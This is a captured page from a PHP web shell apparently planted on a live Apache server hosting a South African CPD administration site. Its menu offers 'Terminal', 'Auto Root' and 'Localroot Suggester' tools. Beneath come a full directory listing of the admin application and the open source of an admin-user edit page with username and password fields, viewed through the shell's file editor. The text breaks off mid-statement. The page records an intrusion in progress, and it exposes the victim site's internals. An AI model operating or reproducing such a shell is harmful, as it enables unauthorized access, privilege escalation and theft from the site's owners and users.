Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
cpdadmin /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-sr-x
2025-06-24 07:20
assessordocs
[ DIR ]
drwxr-sr-x
2026-03-23 08:03
calendar
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
certificates
[ DIR ]
drwxrwsr-x
2026-08-25 05:49
ckeditor
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
images
[ DIR ]
drwxr-sr-x
2022-04-19 07:59
js
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
lang
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
providerdocs
[ DIR ]
drwxr-sr-x
2026-08-12 07:21
txt
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
uploads
[ DIR ]
drwxr-sr-x
2026-08-17 12:51
yui280
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
CESA_CPD.css
10.23
KB
-rw-r--r--
2022-04-19 06:59
CPDAdminUsersadd.php
28.52
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersdelete.php
20.94
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersedit.php
29.37
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersinfo.php
24.37
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUserslist.php
58.77
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersview.php
40.59
KB
-rw-r--r--
2022-09-15 19:16
CPDAssessors_CVFile_bv.php
6.5
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document1_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document2_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document3_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_NDAFile_bv.php
6.52
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_QualificationFile_bv.php
6.63
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsadd.php
77.14
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsdelete.php
28.85
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsedit.php
92.45
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsinfo.php
30.15
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorslist.php
73.5
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsview.php
69.35
KB
-rw-r--r--
2023-04-21 10:09
CPDProviderDocs_DocFile_bv.php
8.02
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsadd.php
40.38
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsdelete.php
24.9
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsedit.php
46.12
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsinfo.php
25.55
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocslist.php
84.13
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsview.php
56.09
KB
-rw-r--r--
2023-02-27 12:50
CPDSPReview_ReviewChecklist_bv.php
6.74
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReview_ReviewFile1_bv.php
6.69
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReview_ReviewFile2_bv.php
6.69
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReviewadd.php
54.32
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewdelete.php
25.1
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewedit.php
64.65
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewinfo.php
28.05
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewlist.php
69.12
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewview.php
51.23
KB
-rw-r--r--
2023-03-08 12:02
CPDServiceProvider_AccountabilityStructure_bv.php
7.13
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_CPDActivities_bv.php
7.02
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_EvaluatorInvoice_bv.php
7.34
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_EvaluatorTimesheet_bv.php
7.36
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_InvoiceFile_bv.php
7.28
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_LearnerAssessProcedure_bv.php
7.12
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_OtherVACPDSPNumberCertificate_bv.php
7.49
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_PrevSPNumberCertificate_bv.php
7.42
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_ProofOfPayment_bv.php
7.31
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvideradd.php
219.49
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderdelete.php
60.68
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProvideredit.php
244.46
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderinfo.php
51.93
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderlist.php
204.5
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProvidermaster.php
7.74
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProviderview.php
166.72
KB
-rw-r--r--
2025-04-16 15:56
CPDStepsTakenTMadd.php
33.05
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMdelete.php
24.02
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMedit.php
39.11
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMinfo.php
26.47
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMlist.php
67.53
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMview.php
42.7
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenadd.php
27.91
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakendelete.php
21.87
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenedit.php
34
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakeninfo.php
24.84
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenlist.php
102.44
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenview.php
39.89
KB
-rw-r--r--
2022-09-15 21:50
CPDTMReviewadd.php
68.75
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewdelete.php
30.53
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewedit.php
68.14
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewinfo.php
30.75
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewlist.php
76.95
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewview.php
58.41
KB
-rw-r--r--
2022-09-15 19:16
CPDTrainingMaterial_ActivityProgramme_bv.php
6.92
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_AssessmentDoc_bv.php
6.87
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_CourseBrochure_bv.php
6.88
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_EvaluatorInvoice_bv.php
6.91
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_EvaluatorTimesheet_bv.php
6.93
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_FeedbackForm_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_InvoiceFile_bv.php
6.85
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_LearningOutcomesFile_bv.php
6.95
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter1CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter1IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter1SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_Presenter2CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter2IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter2SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_Presenter3CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter3IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter3SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_ProofOfPayment_bv.php
6.88
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterialadd.php
312.71
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialdelete.php
69.75
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialedit.php
367.27
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialinfo.php
61.66
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMateriallist.php
220.65
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialmaster.php
5.84
KB
-rw-r--r--
2024-09-18 11:13
CPDTrainingMaterialview.php
222.22
KB
-rw-r--r--
2025-05-20 07:41
SpryMenuBarHorizontal.css
5.52
KB
-rw-r--r--
2022-04-19 06:59
SpryMenuBarVertical.css
4.52
KB
-rw-r--r--
2022-04-19 06:59
changepwd.php
10.52
KB
-rw-r--r--
2023-02-11 10:44
cstReviewProgressinfo.php
21.94
KB
-rw-r--r--
2022-09-15 19:16
cstReviewProgresslist.php
65.64
KB
-rw-r--r--
2022-09-15 19:16
echasl23add.php
29.32
KB
-rw-r--r--
2022-09-15 21:50
echasl23delete.php
21.56
KB
-rw-r--r--
2022-09-15 21:50
echasl23edit.php
31.02
KB
-rw-r--r--
2022-09-15 21:50
echasl23info.php
24.92
KB
-rw-r--r--
2022-09-15 21:50
echasl23list.php
70.56
KB
-rw-r--r--
2022-09-15 21:50
echasl23srch.php
32.07
KB
-rw-r--r--
2022-09-15 21:50
echasl23view.php
39.44
KB
-rw-r--r--
2022-09-15 21:50
ewbv7.php
1.88
KB
-rw-r--r--
2022-04-19 06:59
ewcfg7.php
68.37
KB
-rw-r--r--
2026-08-24 10:13
ewemail7.php
1.87
KB
-rw-r--r--
2022-04-19 06:59
ewlookup7.php
2.8
KB
-rw-r--r--
2022-04-19 06:59
ewmenu.php
2.14
KB
-rw-r--r--
2024-09-18 11:13
ewmysql7.php
29.43
KB
-rw-r--r--
2026-08-20 18:36
ewshared7.php
26.13
KB
-rw-r--r--
2023-03-08 11:59
footer.php
2.48
KB
-rw-r--r--
2025-06-24 07:24
forgotpwd.php
13.11
KB
-rw-r--r--
2023-02-11 10:44
genspcertificate.php
2.74
KB
-rw-r--r--
2025-07-14 12:09
gentmcertificate.php
4.46
KB
-rw-r--r--
2025-09-12 09:17
header.php
5.62
KB
-rw-r--r--
2022-04-19 08:00
inc_functions.php
15.82
KB
-rw-r--r--
2026-08-14 12:06
index.php
6.01
KB
-rw-r--r--
2023-02-11 10:44
login.php
18.09
KB
-rw-r--r--
2023-02-11 10:44
logout.php
6.14
KB
-rw-r--r--
2023-03-10 10:31
php_errors.log
36.69
KB
-rw-r--r--
2026-08-20 18:36
phpfn7.php
142.58
KB
-rw-r--r--
2026-08-24 10:13
userfn7.php
355
B
-rw-r--r--
2023-02-10 11:50
userlevelpermissionsadd.php
27.07
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsdelete.php
19.54
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsedit.php
26.11
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsinfo.php
21.32
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionslist.php
67.92
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionssrch.php
21.52
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsview.php
36.58
KB
-rw-r--r--
2022-09-15 19:16
userlevelsadd.php
24.5
KB
-rw-r--r--
2022-09-15 19:16
userlevelsdelete.php
16.89
KB
-rw-r--r--
2022-09-15 19:16
userlevelsedit.php
20.2
KB
-rw-r--r--
2022-09-15 19:16
userlevelsinfo.php
18.72
KB
-rw-r--r--
2022-09-15 19:16
userlevelslist.php
58.24
KB
-rw-r--r--
2022-09-15 19:16
userlevelsmaster.php
1.69
KB
-rw-r--r--
2022-09-15 19:16
userlevelssrch.php
17.79
KB
-rw-r--r--
2022-09-15 19:16
userlevelsview.php
32.56
KB
-rw-r--r--
2022-09-15 19:16
userpriv.php
14.51
KB
-rw-r--r--
2023-02-11 10:44
vwCPD_SPExpiredNotRenewedinfo.php
49.76
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPExpiredNotRenewedlist.php
129.54
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPExpiredNotRenewedmaster.php
10.96
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestinfo.php
53.45
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestlist.php
130.76
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestmaster.php
14.99
KB
-rw-r--r--
2024-09-18 11:03
xenon.css
0
B
-rw-r--r--
2025-06-24 07:25
Save
Rename
<?php session_start(); // Initialize Session data ob_start(); // Turn on output buffering ?> <?php include "ewcfg7.php" ?> <?php include "ewmysql7.php" ?> <?php include "phpfn7.php" ?> <?php include "echasl23info.php" ?> <?php include "CPDAdminUsersinfo.php" ?> <?php include "userfn7.php" ?> <?php header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); // Always modified header("Cache-Control: private, no-store, no-cache, must-revalidate"); // HTTP/1.1 header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); // HTTP/1.0 ?> <?php // Create page object $echasl23_edit = new cechasl23_edit(); $Page =& $echasl23_edit; // Page init $echasl23_edit->Page_Init(); // Page main $echasl23_edit->Page_Main(); ?> <?php include "header.php" ?> <script type="text/javascript"> <!-- // Create page object var echasl23_edit = new ew_Page("echasl23_edit"); // page properties echasl23_edit.PageID = "edit"; // page ID echasl23_edit.FormID = "fechasl23edit"; // form ID var EW_PAGE_ID = echasl23_edit.PageID; // for backward compatibility // extend page with ValidateForm function echasl23_edit.ValidateForm = function(fobj) { ew_PostAutoSuggest(fobj); if (!this.ValidateRequired) return true; // ignore validation if (fobj.a_confirm && fobj.a_confirm.value == "F") return true; var i, elm, aelm, infix; var rowcnt = (fobj.key_count) ? Number(fobj.key_count.value) : 1; for (i=0; i<rowcnt; i++) { infix = (fobj.key_count) ? String(i+1) : ""; elm = fobj.elements["x" + infix + "_adminusername"]; if (elm && !ew_HasValue(elm)) return ew_OnError(this, elm, ewLanguage.Phrase("EnterRequiredField") + " - <?php echo ew_JsEncode2($echasl23->adminusername->FldCaption()) ?>"); elm = fobj.elements["x" + infix + "_adminpassword"]; if (elm && !ew_HasValue(elm)) return ew_OnError(this, elm, ewLanguage.Phrase("EnterRequiredField") + " - <?php echo ew_JsEncode2($echasl23->adminpassword->FldCaption()) ?>"); elm = fobj.elements["x" + infix + "_activated"]; if (elm && !ew_CheckInteger(elm.value)) return ew_OnError(this, elm, "<?php echo ew_JsEncode2($echasl23->activated->FldErrMsg()) ?>"); elm = fobj.elements["x" + infix + "_pwdchanged"]; if (elm && !ew_CheckDate(elm.value)) return ew_OnError(this, elm, "<?php echo ew_JsEncode2($echasl23->pwdchanged->FldErrMsg()) ?>"); // Call Form Custom Validate event if (!this.Form_CustomValidate(fobj)) return false; } return true; } // extend page with Form_CustomValidate function echasl23_edit.Form_CustomValidate = function(fobj) { // DO NOT CHANGE THIS LINE! // Your custom validation code here, return false if invalid. return true; } <?php if (EW_CLIENT_VALIDATE) { ?> echasl23_edit.ValidateRequired = true; // uses JavaScript validation <?php } else { ?> echasl23_edit.ValidateRequired = false; // no JavaScript validation <?php } ?> // search highlight properties echasl23_edit.ShowHighlightText = ewLanguage.Phrase("ShowHighlight"); echasl23_edit.HideHighlightText = ewLanguage.Phrase("HideHighlight"); //--> </script> <script type="text/javascript"> <!-- var ew_DHTMLEditors = []; //--> </script> <script language="JavaScript" type="text/javascript"> <!-- // Write your client script here, no need to add script tags. // To include another .js script, use: // ew_ClientScriptInclude("my_javascript.js"); //--> </script> <p><span class="phpmaker"><?php echo $Language->Phrase("Edit") ?> <?php echo $Language->Phrase("TblTypeTABLE") ?><?php echo $echasl23->TableCaption() ?><br><br> <a href="<?php echo $echasl23->getReturnUrl() ?>"><?php echo $Language->Phrase("GoBack") ?></a></span></p> <?php if (EW_DEBUG_ENABLED) echo ew_DebugMsg(); $echasl23_edit->ShowMessage(); ?> <form name="fechasl23edit" id="fechasl23edit" action="<?php echo ew_CurrentPage() ?>" method="post" onsubmit="return echasl23_edit.ValidateForm(this);"> <p> <input type="hidden" name="a_table" id="a_table" value="echasl23"> <input type="hidden" name="a_edit" id="a_edit" value="U"> <table cellspacing="0" class="ewGrid"><tr><td class="ewGridContent"> <div class="ewGridMiddlePanel"> <table cellspacing="0" class="ewTable"> <?php if ($echasl23->adminuserid->Visible) { // adminuserid ?> <tr<?php echo $echasl23->RowAttributes() ?>> <td class="ewTableHeader"><?php echo $echasl23->adminuserid->FldCaption() ?></td> <td<?php echo $echasl23->adminuserid->CellAttributes() ?>><span id="el_adminuserid"> <div<?php echo $echasl23->adminuserid->ViewAttributes() ?>><?php echo $echasl23->adminuserid->EditValue ?></div><input type="hidden" name="x_adminuserid" id="x_adminuserid" value="<?php echo ew_HtmlEncode($echasl23->adminuserid->CurrentValue) ?>"> </span><?php echo $echasl23->adminuserid->CustomMsg ?></td> </tr> <?php } ?> <?php if ($echasl23->adminusername->Visible) { // adminusername ?> <tr<?php echo $echasl23->RowAttributes() ?>> <td class="ewTableHeader"><?php echo $echasl23->adminusername->FldCaption() ?><?php echo $Language->Phrase("FieldRequiredIndicator") ?></td> <td<?php echo $echasl23->adminusername->CellAttributes() ?>><span id="el_adminusername"> <input type="text" name="x_adminusername" id="x_adminusername" title="<?php echo $echasl23->adminusername->FldTitle() ?>" size="30" maxlength="255" value="<?php echo $echasl23->adminusername->EditValue ?>"<?php echo $echasl23->adminusername->EditAttributes() ?>> </span><?php echo $echasl23->adminusername->CustomMsg ?></td> </tr> <?php } ?> <?php if ($echasl23->adminpassword->Visible) { // adminpassword ?> <tr<?php echo $echasl23->RowAttributes() ?>> <td class="ewTableHeader"><?php echo $echasl23->adminpassword->FldCaption() ?><?php echo $Language->Phrase("FieldRequiredIndicator") ?></td> <td<?php echo $echasl23->adminpassword->CellAttributes() ?>><span id="el_adminpassword"> <input type="text" name="x_adminpassword" id="x_adminpassword" title="<?php echo $echasl23->adminpassword->FldTitle() ?>" size="30" maxlength="255" value="<?php echo $echasl23->adminpassword->EditValue ?>"<?php echo $echasl23->adminpassword->EditAttributes() ?>> </span><?php echo $echasl23->adminpassword->CustomMsg ?></td> </tr> <?php } ?> <?php if ($echasl23->profile->Visible) { // profile ?> <tr<?php echo $echasl23->RowAttributes() ?>> <td class="ewTableHeader"><?php echo $echasl23->profile->FldCaption() ?></td> <td<?php echo $echasl23->profile->CellAttributes() ?>><span id="el_profile"> <textarea name="x_profile" id="x_profile" title="<?php echo $echasl23->profile->FldTitle() ?>" cols="35" rows="4"<?php echo $echasl23->profile->EditAttributes() ?>><?php echo $echasl23->profile->EditValue ?></textarea> </span><?php echo $echasl23->profile->CustomMsg ?></td> </tr> <?php } ?> <?php if ($echasl23->zemail->Visible) { // email ?> <tr<?php echo $echasl23->RowAttributes() ?>> <td class="ewTableHeader"><?php echo $echasl23->zemail->FldCaption() ?></td> <td<?php echo $echasl23->zemail->CellAttributes() ?>><span id="el_zemail"> <input type="text" name="x_zemail" id="x_zemail" title="<?php echo $echasl23->zemail->FldTitle() ?>" size="30" maxlength="255" value="<?php echo $echasl23->zemail->EditValue ?>"<?php echo $echasl23->zemail->EditAttributes() ?>> </span><?php echo $echasl23->zemail->CustomMsg ?></td> </tr> <?php } ?> <?php if ($echasl23->activated->Visible) { // activated ?> <tr<?php echo $echasl23->RowAttributes() ?>> <td class="ewTableHeader"><?php echo $echasl23->activated->FldCaption() ?></td> <td<?php echo $echasl23->activated->CellAttributes() ?>><span id="el_activated"> <input type="text" name="x_activated" id="x_activated" title="<?php echo $echasl23->activated->FldTitle() ?>" size="30" value="<?php echo $echasl23->activated->EditValue ?>"<?php echo $echasl23->activated->EditAttributes() ?>> </span><?php echo $echasl23->activated->CustomMsg ?></td> </tr> <?php } ?> <?php if ($echasl23->level->Visible) { // level ?> <tr<?php echo $echasl23->RowAttributes() ?>> <td class="ewTableHeader"><?php echo $echasl23->level->FldCaption() ?></td> <td<?php echo $echasl23->level->CellAttributes() ?>><span id="el_level"> <select id="x_level" name="x_level" title="<?php echo $echasl23->level->FldTitle() ?>"<?php echo $echasl23->level->EditAttributes() ?>> <?php if (is_array($echasl23->level->EditValue)) { $arwrk = $echasl23->level->EditValue; $rowswrk = count($arwrk); $emptywrk = TRUE; for ($rowcntwrk = 0; $rowcntwrk < $rowswrk; $rowcntwrk++) { $selwrk = (strval($echasl23->level->CurrentValue) == strval($arwrk[$rowcntwrk][0])) ? " selected=\"selected\"" : ""; if ($selwrk <> "") $emptywrk = FALSE; ?> <option value="<?php echo ew_HtmlEncode($arwrk[$rowcntwrk][0]) ?>"<?php echo $selwrk ?>> <?php echo $arwrk[$rowcntwrk][1] ?> </option> <?php } } ?> </select> </span><?php echo $echasl23->level->CustomMsg ?></td> </tr> <?php } ?> <?php if ($echasl23->pwdchanged->Visible) { // pwdchanged ?> <tr<?php echo $echasl23->RowAttributes() ?>> <td class="ewTableHeader"><?php echo $echasl23->pwdchanged->FldCaption() ?></td> <td<?php echo $echasl23->pwdchanged->CellAttributes() ?>><span id="el_pwdchanged"> <input type="text" name="x_pwdchanged" id="x_pwdchanged" title="<?php echo $echasl23->pwdchanged->FldTitle() ?>" value="<?php echo $echasl23->pwdchanged->EditValue ?>"<?php echo $echasl23->pwdchanged->EditAttributes() ?>> </span><?php echo $echasl23->pwdchanged->CustomMsg ?></td> </tr> <?php } ?> </table> </div> </td></tr></table> <p> <input type="submit" name="btnAction" id="btnAction" value="<?php echo ew_BtnCaption($Language->Phrase("EditBtn")) ?>"> </form> <script language="JavaScript" type="text/javascript"> <!-- // Write your table-specific startup script here // document.write("page loaded"); //--> </script> <?php include "footer.php" ?> <?php $echasl23_edit->Page_Terminate(); ?> <?php // // Page class // class cechasl23_edit { // Page ID var $PageID = 'edit'; // Table name var $TableName = 'echasl23'; // Page object name var $PageObjName = 'echasl23_edit'; // Page name function PageName() { return ew_CurrentPage(); } // Page URL function PageUrl() { $PageUrl = ew_CurrentPage() . "?"; global $echasl23; if ($echasl23->UseTokenInUrl) $PageUrl .= "t=" . $echasl23->TableVar . "&"; // Add page token return $PageUrl; } // Page URLs var $AddUrl; var $EditUrl; var $CopyUrl; var $DeleteUrl; var $ViewUrl; var $ListUrl; // Export URLs var $ExportPrintUrl; var $ExportHtmlUrl; var $ExportExcelUrl; var $ExportWordUrl; var $ExportXmlUrl; var $ExportCsvUrl; // Update URLs var $InlineAddUrl; var $InlineCopyUrl; var $InlineEditUrl; var $GridAddUrl; var $GridEditUrl; var $MultiDeleteUrl; var $MultiUpdateUrl; // Message function getMessage() { return @$_SESSION[EW_SESSION_MESSAGE]; } function setMessage($v) { if (@$_SESSION[EW_SESSION_MESSAGE] <> "") { // Append $_SESSION[EW_SESSION_MESSAGE] .= "<br>" . $v; } else { $_SESSION[EW_SESSION_MESSAGE] = $v; } } // Show message function ShowMessage() { $sMessage = $this->getMessage(); $this->Message_Showing($sMessage); if ($sMessage <> "") { // Message in Session, display echo "<p><span class=\"ewMessage\">" . $sMessage . "</span></p>"; $_SESSION[EW_SESSION_MESSAGE] = ""; // Clear message in Session } } // Validate page request function IsPageRequest() { global $objForm, $echasl23; if ($echasl23->UseTokenInUrl) { if ($objForm) return ($echasl23->TableVar == $objForm->GetValue("t")); if (@$_GET["t"] <> "") return ($echasl23->TableVar == $_GET["t"]); } else { return TRUE; } } // // Page class constructor // function __construct() { global $conn, $Language; // Language object $Language = new cLanguage(); // Table object (echasl23) $GLOBALS["echasl23"] = new cechasl23(); // Table object (CPDAdminUsers) $GLOBALS['CPDAdminUsers'] = new cCPDAdminUsers(); // Page ID if (!defined("EW_PAGE_ID")) define("EW_PAGE_ID", 'edit', TRUE); // Table name (for backward compatibility) if (!defined("EW_TABLE_NAME")) define("EW_TABLE_NAME", 'echasl23', TRUE); // Start timer $GLOBALS["gsTimer"] = new cTimer(); // Open connection $conn = ew_Connect(); } // // Page_Init // function Page_Init() { global $gsExport, $gsExportFile, $UserProfile, $Language, $Security, $objForm; global $echasl23; // User profile $UserProfile = new cUserProfile(); $UserProfile->LoadProfile(@$_SESSION[EW_SESSION_USER_PROFILE]); // Security $Security = new cAdvancedSecurity(); if (IsPasswordExpired()) $this->Page_Terminate("changepwd.php"); if (!$Security->IsLoggedIn()) $Security->AutoLogin(); if (!$Security->IsLoggedIn()) { $Security->SaveLastUrl(); $this->Page_Terminate("login.php"); } $Security->TablePermission_Loading(); $Security->LoadCurrentUserLevel($this->TableName); $Security->TablePermission_Loaded(); if (!$Security->IsLoggedIn()) { $Security->SaveLastUrl(); $this->Page_Terminate("login.php"); } if (!$Security->CanEdit()) { $Security->SaveLastUrl(); $this->Page_Terminate("echasl23list.php"); } $Security->UserID_Loading(); if ($Security->IsLoggedIn()) $Security->LoadUserID(); $Security->UserID_Loaded(); if ($Security->IsLoggedIn() && $Security->CurrentUserID() == "") { $_SESSION[EW_SESSION_MESSAGE] = $Language->Phrase("NoPermission"); $this->Page_Terminate("echasl23list.php"); } // Create form object $objForm = new cFormObj(); // Global Page Loading event (in userfn*.php) Page_Loading(); // Page Load event $this->Page_Load(); } // // Page_Terminate // function Page_Terminate($url = "") { global $conn; // Page Unload event $this->Page_Unload(); // Global Page Unloaded event (in userfn*.php) Page_Unloaded(); // Close connection $conn->Close(); // Go to URL if specified $this->Page_Redirecting($url); if ($url <> "") { if (!EW_DEBUG_ENABLED && ob_get_length()) ob_end_clean(); header("Location: " . $url); } exit(); } var $sDbMasterFilter; var $sDbDetailFilter; // // Page main // function Page_Main() { global $objForm, $Language, $gsFormError, $echasl23; // Load key from QueryString if (@$_GET["adminuserid"] <> "") $echasl23->adminuserid->setQueryStringValue($_GET["adminuserid"]); if (@$_POST["a_edit"] <> "") { $echasl23->CurrentAction = $_POST["a_edit"]; // Get action code $this->LoadFormValues(); // Get form values // Validate form if (!$this->ValidateForm()) { $echasl23->CurrentAction = ""; // Form error, reset action $this->setMessage($gsFormError); $echasl23->EventCancelled = TRUE; // Event cancelled $this->RestoreFormValues(); } } else { $echasl23->CurrentAction = "I"; // Default action is display } // Check if valid key if ($echasl23->adminuserid->CurrentValue == "") $this->Page_Terminate("echasl23list.php"); // Invalid key, return to list switch ($echasl23->CurrentAction) { case "I": // Get a record to display if (!$this->LoadRow()) { // Load record based on key $this->setMessage($Language->Phrase("NoRecord")); // No record found $this->Page_Terminate("echasl23list.php"); // No matching record, return to list } break; Case "U": // Update $echasl23->SendEmail = TRUE; // Send email on update success if ($this->EditRow()) { // Update record based on key $this->setMessage($Language->Phrase("UpdateSuccess")); // Update success $sReturnUrl = $echasl23->getReturnUrl(); if (ew_GetPageName($sReturnUrl) == "echasl23view.php") $sReturnUrl = $echasl23->ViewUrl(); // View paging, return to View page directly $this->Page_Terminate($sReturnUrl); // Return to caller } else { $echasl23->EventCancelled = TRUE; // Event cancelled $this->RestoreFormValues(); // Restore form values if update failed } } // Render the record $echasl23->RowType = EW_ROWTYPE_EDIT; // Render as Edit $this->RenderRow(); } // Get upload files function GetUploadFiles() { global $objForm, $echasl23; // Get upload data } // Load form values function LoadFormValues() { // Load from form global $objForm, $echasl23; $echasl23->adminuserid->setFormValue($objForm->GetValue("x_adminuserid")); $echasl23->adminusername->setFormValue($objForm->GetValue("x_adminusername")); $echasl23->adminpassword->setFormValue($objForm->GetValue("x_adminpassword")); $echasl23->profile->setFormValue($objForm->GetValue("x_profile")); $echasl23->zemail->setFormValue($objForm->GetValue("x_zemail")); $echasl23->activated->setFormValue($objForm->GetValue("x_activated")); $echasl23->level->setFormValue($objForm->GetValue("x_level")); $echasl23->pwdchanged->setFormValue($objForm->GetValue("x_pwdchanged")); $echasl23->pwdchanged->CurrentValue = ew_UnFormatDateTime($echasl23->pwdchanged->CurrentValue, 5); } // Restore form values function RestoreFormValues() { global $objForm, $echasl23; $this->LoadRow(); $echasl23->adminuserid->CurrentValue = $echasl23->adminuserid->FormValue; $echasl23->adminusername->CurrentValue = $echasl23->adminusername->FormValue; $echasl23->adminpassword->CurrentValue = $echasl23->adminpassword->FormValue; $echasl23->profile->CurrentValue = $echasl23->profile->FormValue; $echasl23->zemail->CurrentValue = $echasl23->zemail->FormValue; $echasl23->activated->CurrentValue = $echasl23->activated->FormValue; $echasl23->level->CurrentValue = $echasl23->level->FormValue; $echasl23->pwdchanged->CurrentValue = $echasl23->pwdchanged->FormValue; $echasl23->pwdchanged->CurrentValue = 